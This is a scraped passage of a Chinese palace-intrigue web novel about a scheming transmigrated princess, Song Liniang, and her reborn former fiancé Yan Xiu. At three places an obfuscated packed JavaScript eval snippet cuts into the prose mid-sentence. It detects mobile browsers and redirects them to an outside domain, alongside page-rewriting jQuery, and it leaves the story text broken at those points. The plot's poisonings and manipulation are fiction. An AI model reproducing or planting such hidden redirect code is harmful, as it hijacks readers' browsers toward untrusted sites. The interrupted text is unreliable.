盛夏骄阳,太液池边,头梳双环髻的小女娘跑得气喘吁吁,薄汗敷面,亮晶晶的像偷来了浩瀚星辰,整个人生机勃发。 因为冲势太急,宋立娘很难止步。 最糟糕的是,在她前方,正站着一个约摸十三岁的小男郎,容貌俊秀,黛眉星眸,着如意暗纹玄黑半臂衬青金石色窄袖衫,肤白似雪,腰细如柳,气质出挑堪比画中小仙。 小男郎才走出湖心亭,当头就碰见这飞来横祸,早已来不及躲避。 “哗啦——” 男郎被撞得掉下池水。 “天呐!我来救你!”宋立娘惊吓之余,即刻就地取材折下一根树枝,“快抓住!我拖你上来!” 树枝胡乱地戳在男郎的鼻子耳朵处,他为躲开尖锐的枝头,只好在水里咕噜咕噜地来回起伏。 男郎一开口说话便被水呛喉:“我唔……我会游……你别……噗……” 其实宋立娘听见了。 但她必须假装没听清。 此时的宋立娘刚刚认亲回宫,宫里亟需有自己的势力,因而安排了熟人入宫做眼线,并与眼线相约在太液池附近的巨龟石雕后见面议事。 却不料,池中湖心亭竟有人在,打断了她们尚来不及开始的密会。 宋立娘决定自己来拖住这个意外之人,好让眼线偷偷离开太液池。 眼见此人为躲避树枝水下潜游,即将游到对岸,宋立娘一着急,连忙故意失重脚滑,也落入了深水中。 “救命……咕噜噜……” 宋立娘用力拍打微凉的池水,然后憋住气,让身体下沉。 另一边的男郎只能又游回来救人。 “多亏哀家的寿坤宫与太液池离得不远,否则啊,你们两个小倒霉蛋,可要湿着身子走一路。” 寿坤宫正殿,人至暮年的太后瞿蓉坐在主位,对两个闯祸的小辈感到无可奈何。 宋立娘与男郎已换好干衣服,宫侍正用毛巾帮二人擦干湿发。 “对不住,是我不好,我先撞倒小公子的。”宋立娘很是歉疚,“我想追去瞧一只好看的画眉鸟,跑太急便停不下了,都怪那鸟,不肯为我留下来。” 瞿蓉用手指轻点小女娘的额角:“哀家就知道,定然是你起的头,燕袖再皮也是懂分寸的。” 宋立娘摸着额角,调皮地吐了吐舌头,继而好奇打量对面未发一言的男郎:“燕袖?” 男郎点头应是。 瞿蓉道:“对了,你们应当还不认识,丽娘,这是燕袖,皇后母家的长孙,也就是你太子哥哥的表弟。” 宋立娘眼睛一亮,猛地拍掌:“我有表弟了!” “衫儿的表弟,与你有什么关系?”瞿蓉忍俊不禁,“论年纪,燕袖长你两岁,你还要喊哥哥的。” 宋立娘穿越以后的这具身子,真实年龄是十五岁,而流落民间的真皇嗣比她晚出生四年。 因为之前长期流浪,吃食不足,如今她的身子发育不够,假扮起十一岁的小孩绰绰有余。 所以说起来,宋立娘其实比燕袖大两岁。若还要加上穿越前的岁数,可就更多了。 宋立娘表面若无其事,冲对面的小弟弟莞尔道:“也好,丽娘有新哥哥了!” 燕袖呆了呆,未接话。 瞿蓉又对燕袖解释:“她是八公主,唤宋丽娘,是贤妃失踪的那个孩子,上个月才寻回来。” 燕袖反应过来,规规矩矩拱手抱拳:“燕某见过公主。” 这一茬打岔完,瞿蓉默了一会儿,才拾起先前想说的话。 “丽娘,你说你,今日好在有燕袖,不然真出了意外怎么办?往后莫要再行扑鸟逗猫的危险之举。” 宋立娘心虚点头。 “你若闲不下,便多花些心思学习,莫说礼仪规矩、诗画琴棋,便连习字书法你都悉数要从头学起。”瞿蓉一提起这些,就止不住头疼,揉了揉太阳穴,“你早日跟上来,才好与你的皇姐皇妹同堂入学,方便培养手足情谊。” 宋立娘见状,赶紧凑过去,讨好式地帮太后按揉穴位:“哎呀,好了皇祖母,丽娘记得了。” 燕袖的手指下意识摩挲着。 从民间寻回的贵公主可谓一大奇闻,是京城近日茶余饭后最流行的闲谈,他也听过两三回。 听说,这位八公主一出生就下落不明,流落成南方边境的底层流民。 他在南部边境长大,自然了解,那里流民过的是什么日子。十一年流浪,八公主吃的苦绝不会少。 宋立娘尚在殷勤地给太后表现时,感觉到了一阵清冽气息的靠近,源自男郎身上熏过淡雅君子香的新衣。 燕袖主动来到她的面前,眉眼明亮又张扬。 “既然八公主是表兄的妹妹,燕袖哪有不帮的道理?如若公主不弃,我可以帮忙,往后入宫时顺便教导公主居学。” 从那以后,宋立娘和燕袖的走动多起来。燕袖每逢入宫,大多都与八公主相约寿坤宫,二人在院落中习字背诗、算数下棋,偶尔还与太子宋衫及其她皇嗣一同温书煮茶、骑马踏青。 “我喊你袖哥哥吧。”女娘趴在紫檀木桌案上,手背支起脑袋,双眼不错地仰视专心写字的同伴。 燕袖斩钉截铁:“不行。” 宋立娘有些失望:“可是,直接喊名字更亲切一些,要不是七皇姐排行老七,我还会把七姐姐喊作晚姐姐呢!” “男子不一样。” “为何?” 燕袖笔锋一顿,不知想到些什么,神态染了些许慌张:“……反正不行就是不行!公主殿下可要记清楚了,不能喊我袖哥哥,往后也不能直呼其他男子的名讳。” “这样啊。”宋立娘坐直起身,“好吧,燕哥哥。” 她提笔蘸墨,饶有兴味地问:“燕哥哥的名字怎么写?” 燕袖微微挑眉:“想知道吗?那便先学写你的名字。” “嘿嘿,我会呀,这就是我的名字。” 宋立娘颇为自信,龙飞凤舞地潇洒写下三个大字。 燕袖一看成品,哭笑不得,指向其中一个字:“写错了,这是立足的立。” 宋立娘抬头看他,朗声笑道:“但也是很好的名字啊,是吧,燕哥哥?” 如此相处一段日子,宋立娘长大了些,从贤妃的瑞昭宫搬出来,得以独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599304|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自拥有一处大院落。 进新居的第二日,宋立娘爬上了院子里的果树,远远瞧见院外宫道路过的燕袖。 “燕哥哥!燕哥哥!看过来!看上面!” 宋立娘夸张地摇摆双臂,高声地呼唤,以此盖过树下宫侍们一声声的“公主小心”“公主快下来”。 燕袖走近院墙,举头看去,一双桃花眼弯出饱满卧蚕:“八公主?这是你的新居所?” 宋立娘激动地喊:“对啊,自带好多果子,想吃就吃的,我为什么没早点搬出来?” 仔细挑选着怀里摘得的青果子,宋立娘将其中一部分青果抛向墙头下的男郎。 “算是你教我习字的小小谢礼哦!” 小公主跳下树以后,修竹疑惑发问:“殿下,燕公子是喜好吃酸么?” “不是啊,怎么了?” “没熟的杏子味极酸,仆以为燕公子嗜酸,殿下才送果。” 宋立娘不由得咂舌,她以为这是青绿色的李子,原来,是还没熟的杏子。 修竹得知这个误会,觉着好笑:“殿下,若不是杏树,为何此处宫殿要叫‘春雪居’?这里种的许多是杏树,春日开白花,像三月霜雪落。” 小公主觉得不解:“那为何不叫春杏阁呢?简单易懂。” 随后,宋立娘挑了张新到手的名家墨宝作为赔礼,快速追出去寻找燕袖。 燕袖此人性情直率单纯,又出身显贵,是她在深宫争斗中很好用的一枚棋子。更遑论,好好结交太子表弟,宋立娘也能更接近太子党,方便刺探情报。 再见到燕袖的时候,他正在太液池湖心亭观景。 只见容貌清俊的男郎,正一颗接一颗啃吃着青杏,满面春风,哪怕有时被酸得微眯起眼睛,唇角却还是含笑的。 宋立娘不确定起来,于是出声上前:“燕哥哥,这果子的味道……” 燕袖发觉了八公主的到来,立即坐正,抢答:“甜。” “甜的?”宋立娘心生迷惑。 燕袖点头,重复地肯定:“嗯很甜,谢谢公主。” 滚落石板的青杏果,倒是与诗中青梅的意趣不相上下。 宋立娘噗嗤一笑。 燕袖不知公主为何而笑,耳尖却悄悄红了。 …… 本是少年心动,青梅竹马,为何如今行至陌路分离? 宋立娘还未进到文德殿,先在宫道上远远望见了燕袖。 看来他已面圣结束,离开文德殿的时间不久。 绵雨未歇,却有明媚天光乍泄。被倒春寒唬住的海棠花盛夏晚开,枝头花叶锦簇,纯白花瓣不时幽幽零落,宫道的碧瓦红墙边,燕袖打着一把竹伞踽踽独行,看上去有些许黯然。 “燕哥哥!” 宋立娘握着青玉伞柄,伞面垂落的流苏不住晃动,分割了视野里那个见过千次万次、仅凭背影就能认出的人。 前方的燕袖没有回首,但也没再往前走。 雨势不大,宋立娘干脆放了伞,疾步跑至他身边:“你该不会,已经解除了我们的婚约?” 竹伞开始倾斜,宋立娘发觉自己上方的天空有了遮挡,而燕袖空身站在雨中,纤长睫羽挂的雨粒微微颤栗。 他垂下眼眸,幽凉低语:“对不起,丽娘……是我食言在先,前尘往事不可追,但请你忘了吧。” 8. 絮果 跟燕袖退婚,不仅没什么好处,反而让燕家有了与其她势力联姻的可能。 而且宋立娘需弄明白,燕袖不顾伤势也要面圣解除婚约,莫非是他在静闲茶楼事件中发现了什么端倪? 宋立娘一面冷静地盘算情况,一面自喉咙里挤出心碎的颤音:“如若你当真放下了,为什么此刻不敢看我?为什么先前你恳请退婚都要托人送信,而不能亲口告诉我?” “说要余生相守到白首的人是你,说要从此陌路斩断前尘的人还是你,哄骗我就那么有趣吗?”宋立娘刻意加重了吐出口的最后二字,“燕袖?” 燕袖沉默无言,却将伞柄攥得更紧。他手背上的骨节惨白,青色血管清晰可数。 宋立娘追问出内心真正的疑惑:“告诉我原因,为何突然之间提出解除婚约?” 燕袖终于直视起她逼人的目光,宋立娘这才发觉,原来燕袖早红了眼眶。 “公主值得更好的前程,而不是我。” 言罢,燕袖将竹伞交到宋立娘手中,径自走入细雨,干脆,决绝,不再回头。 擦肩而过的那刻,宋立娘面上原本的不平之色恢复冷淡,半垂的眼眸中,甚至带了点阴鸷。 在燕袖迈出离开的第六步时,一个与凉雨截然不同的鲜活体温自后背袭来,令他整个人呆在原地。 宋立娘双手死死环抱住男郎,在这个高度和位置,很轻易就能扼住他的咽喉,拿捏他的命脉。 “我忘不掉的,我喜欢燕哥哥,我真的真的很喜欢燕哥哥!一辈子都是!” 至少在确保燕袖不会威胁到她的登基计划前,宋立娘绝不会放他自由。 燕袖听到这番告白后,心跳猛地错了节拍,转而挽起一个凄凉的笑。 喜欢?一辈子? 那上辈子的灭族之仇算什么? 那上辈子的一箭穿心算什么? 那上辈子自己止于二十四岁的年轻生命,又算什么? 当他从南方班师回朝时,先帝驾崩多时,已是新帝即位。新帝大肆排除异己、血洗朝堂、任用酷吏,不论清流还是世家都人人自危。 彼时的燕袖长途跋涉回京,自然也听了一路的流言,但他不信,不信那暴戾的帝王乃曾经的八公主。哪怕真是她,也定是受人胁迫的傀儡之君。 燕袖誓要救出傀儡之君,折返京城故土,紧接着便目睹燕家满门获罪,大火起,朱楼塌。 凛冬的最后一个雪夜,他点兵三万,与其她叛党里应外合,发起不甘的反抗。 可那位新帝统领的龙魁军还是赢了,以少胜多的漂亮一仗,自小熟读兵书的燕袖都自愧弗如。 帝王身着战甲,高骑白马,出现于战火连天的风雪中,神色尽是从不曾见过的寒意。 燕袖总算明白,哪来什么操纵傀儡皇帝的幕后主使。 主使向来只有她一人,台前与幕后皆是宋立娘。 重来一世,燕袖再不想与她互相折磨。 燕袖心口的疼痛再难以承受,强撑着发出的声音也虚弱无力:“求你,放过我……” 话音未落,他倏忽晕厥,一头栽倒下去。 宋立娘慌忙托住怀中人。此时四下宫道再无旁人,若要传御医诊治,也必须抬去文德殿才行。 正要把燕袖的手臂搭上自己肩膀时,宋立娘不经意地从衣领缝隙间瞧见,在燕袖后颈与背部的连接处,好似有块朱砂色的胎记…… 文德殿一侧的雅室内,竹帘斜出律动浮光,七彩琉璃壶怒放着大朵粉牡丹。 镶云石五屏罗汉床上的男郎逐渐转醒。 张御医把完脉,拱手回复:“皇上,燕公子新伤未愈,而心绪起伏过大,加之感染风寒,故一时昏厥,并不危及性命,好生调养便可。” 燕袖作势起来行礼:“皇上恕罪,臣恐脏污了皇上的雅间。” 皇帝不耐地让他坐好:“省点力气,有这功夫,不如跟丽娘赔罪,她一个姑娘家,为了救你,硬生生将你扛了一路!朕见得她时手都酸疼得举不起,朕劝她回去换身干衣裳也不愿,就守着你!” 金山翠鸟丝绢屏风后,应景地探出一个圆脑袋。 宋立娘捧来暖身的姜汤,绕过屏风,行至床前:“要不是听父皇提起,我都不知道燕哥哥昨日竟遭千面客劫持,还受了那么重的伤。” 她一勺一勺吹凉姜汤,笑着递给燕袖:“放心好了,哪怕千面客存心报复,我也不怕,只要能和燕哥哥在一起,我会和你一起面对的。” 燕袖迅速意识到,她这是在误导皇上,只消三言两语,就将他先前解除婚约的请求颠倒成保护公主的违心之举。 燕袖立即转向皇帝:“臣是真心请旨解除婚约,并不是……” “啊!”宋立娘手中的汤碗被打落,澄黄汤汁溅洒一地,白瓷四分五裂,再难重圆。 宋立娘不由得哽咽:“燕哥哥,你太过分了!” 可燕袖清晰记得,方才他的衣袖与碗边尚有一点空隙,怎么可能掀翻瓷碗? “行了!” 皇帝厉声呵斥。 “在丽娘面前,朕不想闹得太难看!朕同你说过,解除婚约一事,朕就当没听过。” 皇帝从交椅上站起身,抬高了下巴,睥睨道:“丽娘待你痴心不减,燕氏还想如何?” 看来,皇帝不满的对象不止于燕袖一人,燕太傅对这桩婚事的微词早就上达天听。 燕袖低头应答:“是,皇上。” 皇帝又觑一眼旁边委屈红眼的宋立娘,无奈摇头,一撩龙袍,大跨步离开:“罢了,奏折才批下一半,你们后生人自个处理吧。” 宋立娘命人清扫地面的狼藉,恰好药丞与宫人送来了创伤药和干衣服。 “燕哥哥,你换下药吧,不然伤口被雨打湿,化脓可就不好了。” 言毕,宋立娘随一干宫侍走出了房间。 云销雨霁,盛大的海棠花海如万仞巨浪。宋立娘借由海棠树林掩护身形,悄悄绕回雅室的窗边。 她觉得燕袖后背胎记的图案分外眼熟,不过刚刚有衣服遮挡,看不真切,又不好给人家宽衣解带,只能另寻机会确认。 眼下正是她创造的机会。 雅室的槛窗大开,宋立娘扒上窗棂,欲要透过竹帘窥视,蓦然帘动,她被冒出来的人抓住了一只手臂。 宋立娘很快甩开燕袖的手,微笑道:“燕哥哥,我来此观赏海棠花,没想到雅室的窗户也在这里啊。” 燕袖与她隔窗对望:“赏花,还是另有所谋?” 宋立娘只是叹气,嘟哝道:“我不放心,来看一看燕哥哥的伤,都不准吗?” 燕袖沉声低语:“你小臂的肌肉很扎实,身法也利落,托一个成年男子走两里路,应当十分轻易,不可能累到臂膀酸痛,甚至抬不起手。” 宋立娘心下一沉。 在皇帝的刻板认知中,女子的力气绝不可能强悍,女子的气质绝不可能刚硬。所以她藏锋示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599305|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱,不断降低皇帝及众人的戒备心,背后捅刀时,也就不会溅上一身血。 这宫里,还是头一次有人能戳穿她的假面。 燕袖继续道:“昨日我嗅出千面客带有糯米香气,而人皮面具正需要以糯米粉调和的糨糊敷面黏实。” “千面客的身高体量,与你相差无二。”燕袖将手撑在窗棂,逼视对面的女娘,“而且我听闻,你于昨日不慎摔伤,千面客恰好坠河逃走,料想他亦有伤在身。” 叛军围城的那一夜,见喜商号所营正店的客人们褪去伪装,化为龙魁军突袭而出。 京城百姓才知道,这家从静闲茶楼发迹的全国知名商号,背后乃是新帝的势力。 昨日燕袖密探静闲茶楼,希望找到宋立娘管理茶楼的证据,以此作为筹码,说服她解除婚约。 结果,不过是让他见证,今生的宋立娘与前世别无二致。 “啊,千面客这个坏蛋!怎么就给他跑了?” 宋立娘气得跺脚,一脸的心疼,凑近窗边人,轻抚上他胸膛伤处前的昂贵衣料:“好狠的心,敢下这么重的手,我如今浑身都有伤,是否也算与燕哥哥感同身受?” 为避免燕家势力大肆追查“千面客”,宋立娘在爆炸前最后一瞬,还是饶过燕袖一命。 可惜,现下没有可以全身而退,除掉这个麻烦的时机了。 宋立娘尚在抚摸的手上移,迅捷扯开燕袖的衣领:“我替你上药吧,看看伤势如何。” 云锦包边的领口被掀起,清楚可见在燕袖后背处,有一个指头大小的印记,红如血染,深深嵌入雪肤,融为一体。 印记的图案则是简化的衔尾蛇,在蛇构成的圆圈里,还有一些诡异扭曲的符文。 这是“续前尘”巫术的法阵图! 燕袖即刻抓住她的掌心,缓缓道出一个同样惊人的消息。 “燕家奏请圣上,将与兵马司共同彻查此案。” 燕袖目不交睫,盯住她脸上的表情:“静闲茶楼不一定无辜,茶楼伙计与千面客串通勾结也未尝可知,是以,掌柜、账房、厨娘、小二等二十三人今晨已全部下狱。” 全部下狱…… 分明是酷夏炙热,宋立娘只能感到通体彻骨的冷意,理智像浮冰撞舟般碎裂,一寸寸瓦解,消融入海。 一旁的燕袖还在观察她的反应。 宋立娘闭了闭双眼,再睁眼时,露出了无懈可击的轻笑:“好,那就查,好好查,我祝燕哥哥,早日查出真凶。” 而后,宋立娘用力抽回手腕,合上外开的窗扇,将燕袖彻底隔绝在视野中央。 海棠花纷纷扬扬,开至荼蘼的白。 终归是热夏偷来的春色,怎么也留不住。 宋立娘了悟,从今往后,自己就与重生的燕袖彻底离心。 人人都道八公主宋丽娘是举世无双的幸运儿,民间流浪十一年,一朝飞上金枝,贤妃疼惜、皇帝怜爱、太后欢喜、竹马深情。 贤妃疼她纯善,皇帝怜她弱小,太后喜她贴心,竹马爱她俏皮。 而真实的宋立娘,阴狠、强势、自我、淡漠。 所有人都不喜欢她的真实面目,宋立娘必须很努力、很努力地隐藏和粉饰,才能讨来所谓的偏爱。 没关系。今日立足之处,本就是她自己一个人淌出的血路。 宋立娘回首远眺,窗边的人影仍茕茕孑立。 既然虚假的爱意你不要,那就试一试我真正的报复。 9. 围魏 蓝田玉白棋无规律地敲击白釉瓷棋盘边缘,响声清脆,好似杂乱无章的冥思逸飞。 瑞昭宫院落中,宋立娘独坐棋盘前,轻敲棋子,面沉如水。 五天,人皮面具能维持的最高极限是五天。 掌柜如今下狱已一天,仅剩四天时间给她救人。 两天时间一到,人皮面具脱落,京城兵马司只要再深入调查,势必查出掌柜乃是当年轰动整个江州、火烧全城猖馆的在逃乐伎。 届时,茶楼内一干人等的贱籍身份也将暴露。 朝廷不允贱籍经商,假冒良民户籍更是死罪一等。 杯盏凉透,久等人不至。 宋立娘走近宫苑门口,瞧见一个长身玉立的身影正于宫道徘徊。 其人一袭银线竹纹象牙白缂丝圆领袍,气质温润敦和,风雅翩翩。 “四哥哥。”宋立娘唤他,“为何不进来?我还以为派去传话的宫人没同你说清。” 墙头日影游移,宋衫回身望来,与女娘相隔长长一条宫道,好似一生都走不完。 他微动了动唇,轻道:“小八。” “哎!进来吧!”宋立娘微笑着引太子与其侍从太监来到摆有棋盘的石桌前,与宋衫相对而坐。 宫女适时为两位主子更换热茶。 宋衫嗫嚅道:“你的伤……” “外伤,看着唬人罢了,根本不打紧!”宋立娘迫不及待问,“昨日你可见过燕哥哥了?劝好他了吗?” 宋衫默然片刻,才说:“你一派人来说完原委,我便动身前去规劝燕袖,表弟他……许是一时糊涂,你莫挂怀。” 宋立娘郁闷地撅起嘴,摆摆手:“好了,不想那个烦人的家伙了!我请四哥哥来,除去想问问昨日的事,也是想要你陪我下棋。” “我想试一个新玩法,对手可以预知我三步棋,且对手执先手棋。”宋立娘拈起白子,分别落在三处位置,以此示意自己之后的棋路。 宋衫似乎有些奇怪:“如此棋局,对你劣势重重。” 宋立娘一手托腮,眼神空空的,不知看向何方:“就是要下难一点的棋,才好忘了烦心事。” 宋衫无言,犹豫中执起黑子,陪她投身这场规则罕见的稀奇棋局。 棋局千变万化,如时局生死难测。宋立娘一边下棋,一边在脑内把近日种种事件相互串连。 一颗黑子被宋衫预先放在白子旁边。 告密者仿佛先知,专从即将失踪的胡耀入手,利用冰鉴小诗揭发八公主的身份秘密。 当白子落于指定位置,又一黑子紧追而来,成倒垂莲定式,把白子两面夹击。 告密者还未能查出,静闲茶楼又遭陷害,接二连三的风波直逼宋立娘而来。 在白子的既定位置周围,黑子都已布下杀局,形成镇头封锁之势,阻绝三枚白子的贯通之路,白子三面围困,如作困兽。 朝堂、宫廷、民间,宋立娘所掌握的三方势力中,民间据点被燕家死咬不放,而她的朝堂人脉远在千里外,鞭长莫及;宫廷眼线更是被困深宫中,无能为力。 这就是重生者凭先知优势,对宋立娘造成的倾轧之态。 偷龙换凤的告密、静闲茶楼的栽赃、禁书上的“续前尘”、燕袖后背的法阵图……这段时日的一切迹象都表明,正有许许多多深谙宋立娘底牌的重生者,隐匿于幕后,窥伺宋立娘的一举一动,企图让她在这一世折戟伏诛。 凭什么? 她立足于这不公的世道,在规则本就完全不利于她的棋盘上竭力厮杀,凭什么还要被判为“输家”? 她是被轻视的女子,她是身如浮萍的底层贱籍,她是毫无前世记忆的现世人……世上规则就是这样不公,所以宋立娘合该要输? 宋立娘抬首:“对了,四哥哥近来睡得可好?” 太子身边嘴碎的随侍太监小顺子抢说:“八公主不知,太子殿下这几日……” “咳咳!”宋衫截住小顺子的话,“一切安好,小八缘何而问?” 宋立娘神色消沉:“我啊近来噩梦缠身,总睡不踏实,听闻抄写清神咒符箓,再在道观向天师焚烧,可祈福安康,消解梦魇,我就写了好些……” 宋衫打断她追问:“什么梦魇,可是很严重?” “还好啦,寻常噩梦,四哥哥不必担心。”宋立娘指了指小顺子,“可否请四哥哥的人帮我个小忙,将我昨夜书写的符箓送去三清堂焚烧祈福?” 三清堂乃是皇家道观,建于皇宫中轴线上,用以镇守风水。 宋立娘接着叹气:“三哥哥同我吵了一架,父皇罚他禁足三清堂——你也知道,三哥哥这人气量小,本就恨我娘比他母妃得宠,这下可又结了新梁子,若见着我或是瑞昭宫的人,一定会狠狠刁难出气。” 得到宋衫首肯,宋立娘又嘱咐小顺子要快去快回,别让三皇子发现了,就怕他发疯起来见谁都想揍一顿。 “四哥哥,我们继续下棋。” 宋立娘执起白子,却是另辟新路,叩在了受困白子的对角位。 檐下风铃鸣。 三清堂东耳房内,一尊青铜三足香炉被狠狠掷出,撞上忽然推开的房门。 “滚——!”三皇子怒喝,又踹倒一方案几,白玉净瓶四分五裂。 推门而入的小太监,哆哆嗦嗦跪地磕头,新鲜洒出的香灰把他的膝盖手足烙出血泡,他依然低眉顺眼:“殿下!仆刚看见太子身边的小顺子,鬼鬼祟祟的,似有不可告人的事情。” 三皇子稍微冷静一点:“你还看见什么了?” 几张符箓被小太监恭敬呈上,符箓边缘还有灼烧过的痕迹。 “仆看见小顺子烧这些符箓,幸好符箓很多,仆等小顺子走了,抢救回来这几张还算完整的。” 墨绿的芭蕉叶遮阴纳凉,小池边垂柳依依,柳条拨弄的涟漪吓跑游鱼,一盘棋局仍未下完。 “你好不好奇,我为什么和三哥哥吵架?”宋立娘状若无聊地拉着家常,“有人同三哥哥造谣,说我不是真龙血脉,结果他还信了,闹到了父皇那去。” 宋衫的脸色闪过刹那错愕,快速抬眸看来。 这个反应,貌似没有异常。 宋立娘继续审视宋衫的表现,表面上则假意感叹:“三哥哥太自负,太自作聪明,容易被有心之人利用,自己还不知道。” 棋局之上,新落定的数枚白子以攻代守,于关键腹地故意开劫,不利战局瞬时逆转。 三皇子高举符箓端详。是最常见的黄裱纸,看不出什么问题。 “殿下,您要的热水打好了。” 小太监端来一盆新烧开的清水,倒进屋内半人高的木桶。一时水汽氤氲,好比霭霭停云。 密集的水汽微微沾湿了符箓,三皇子捡起一撮地上的香灰,撒向符箓纸背面,而后轻轻甩动符箓。 少许香灰被抖落下来,但更多的则吸附于纸背,排列组合成诸多小字。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599306|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 三皇子喜不自胜,癫狂发笑:“好啊皇弟,你肯定想不到我能发现你的秘密!这一招,我可比你用早八百年!” 将鱼骨胶作为墨水,在纸上写字,晾干后鱼骨胶会失去黏性,毫无痕迹留下。但只需以汗水或水雾稍稍润湿纸张,鱼骨胶就可恢复黏性,粘住灰尘,显露出书写的内容。 待到鱼骨胶重新风干后,把灰尘拭去,所写文字又能再次隐形。 三皇子浏览完符箓背面的密文,一把拉过小太监的衣领:“最近老四有没有见过燕家人?” 小太监两股打颤:“是、有、有的,昨日太子去文德殿雅室会见燕家长孙……” 话未说完,小太监已被重重推开,不慎跌入水桶,烫得凄悷惨叫。 三皇子满意打量纸背上密密麻麻的账目,面露讥笑:“呵呵呵,清官也难断家务事,我就说,那燕家糟老头怎么可能一点错处都没有!敢找乖孙子要钱摆平,这回可被我逮住了吧!” 然而,符箓倏地晕开大片墨花,黄纸尽是黑斑,灰尘组成的文字再不可见。 三皇子不敢置信地来回翻看,每一张符箓正面书写的均是粗劣的下等墨,极不耐潮,只消被水雾打湿二三次,就会严重洇墨。 被撕碎的纸屑漫天飘扬,三皇子脖子涨得通红,狠狠咬碎话音:“宋、衫!” 白子所设的连环劫纷至沓来,黑子应接不暇,无力招架。 突然,白子打出一记回马枪,返回困子区域,切入黑棋镇头中尚未完善的缺口,破开了先前的封锁。 黑子只能来得及吃下一枚白子,随后白子便把黑子层层围困、绞杀。 “小八,我输了。”宋衫颔首。 宋立娘倒是自谦,挠挠头轻笑:“只是丽娘运气好。” 连下一个时辰的棋,不免令人口干舌燥,宋立娘浅呷起茶水,宋衫也举杯对饮。 这壶顾渚紫笋茶,泡的是宋立娘今日新采的晨露。她曾仔细以刮露板推搡桂花上的露珠,露珠砸入金桐承露盘,而盘中早有无色无味、透明似水的绝子药。 同样的露水,也曾浸泡过送给燕袖的杏果。 宋立娘并不打算生子,也不想要与她有竞争关系的敌人开枝散叶,届时对付完了老的还需对付小的,真是麻烦。 说起来得多亏皇帝,这绝子药秘方乃北羽历代皇帝的家族传承,宋立娘也是偶然发现皇帝用在了贤妃的身上。可惜药方原料昂贵,还用到了南楚的一味稀缺药材,极其难量产。 想生个孩子傍身的宫妃,会被皇帝暗下造价昂贵的绝子药。而外头无数女人为了避孕,不惜油煎水银口服,以致毒发身亡。 世道的参差,何止这冰山一角。 杯盏遮挡之下,宋立娘的眸子透出刹那的凶光,如鬼魅再世,随即恢复如常。 要论未来会被自己辜负的人,与她有皇位之争的太子是个很有可能的人选。那么她的好哥哥宋衫,有没有重生呢? 恐怕今天是来不及找时机验证了。 对于那法阵图,宋立娘也有疑虑。 朱砂色的衔尾蛇图案,应当是每位重生者身上都会留下的印记,是“续前尘”巫术生效的介质。 恐怕那禁书被撕去的一页里,所记载的正是此事。但是,为何看见此书的重生者不把第一页一并撕去?或者干脆买下禁书? 宋立娘放下茶盏,对着宋衫甜甜一笑。 不论如何,今后有燕家的好戏看了。 10. 救赵 京城出了大事。清流一派的中流砥柱——燕家太傅被林党参了。 太傅燕寿,翰林院大学士出身,且还是当朝国丈,因不满中书令林擒结党营私、蛊惑圣上,他多次联合御史台、翰林院、忠武侯等清流之辈上书谏言,搜寻林党贪赃枉法的证据,于朝堂上狠挫林擒的锐气。 谁人能料,这样一位以清廉正直为名的忠臣,私下也是虱子满身。 门下省给事中弹劾燕寿,直言其蓄意纵容族人侵占京郊田地,更以钱财疏通乡绅关系,层层隐瞒燕氏罪行。 给事中爆料的数目,也与燕家近日开销对上了。 朝臣被族中小辈假冒名义欺凌乡里,此事十分常见,但发生在燕太傅的身上简直大跌眼镜,一时闹得满城风雨。 连深宫中的宋立娘都有所耳闻。据传,林中书令命人将失地的苦主统一接入城中,让他们赖在燕宅门口哭嚎喊冤,丢尽了燕家颜面,给七旬燕老头气得急火攻心,险些中风偏瘫。 宋立娘心底暗笑,蠢笨的三皇子果然好用。 清流一派政见保守,支持太子正统即位,而林党权臣为免日后遭太子清算,已然倒向庶长子三皇子。宋立娘将消息透给三皇子,正是为借林党的刀杀人。 想必深陷争议的燕家,很难再分出精力去处理其她事吧。 不过,要救出掌柜等人,还差最后一把火。 晌午时分,蝉鸣孜孜不倦,正值宫妃们的午休时间。贤妃和衣睡下,侍奉在瑞昭宫的部分宫人也轮值换班,得以浮生偷闲三个时辰。 高等侍女们四人共住一个独立隔间。宋立娘假装午休后,从寝殿侧窗溜出,悄悄走近高等侍女住的后殿耳房,拿出早准备好的锦囊。 囊中装着细腻的引梦香,是上次出宫时修竹的慷慨“馈赠”。 …… 羽国京城北部,自飞虹桥向西,是一片桥头夜市。夜市白日的人流远小于夜里,但因临近书市,也有不少文人喜好聚集此处的茶坊与正店,品茶清谈,聒噪不休。 “唉,清流燕家竟也生此事端,爱民仁心何其难求……” “我还听人说,此事闹得如此厉害,就是上头那位默许的!因为燕氏不满嫡孙尚公主,意欲上书请除婚约,给上头知道了!” 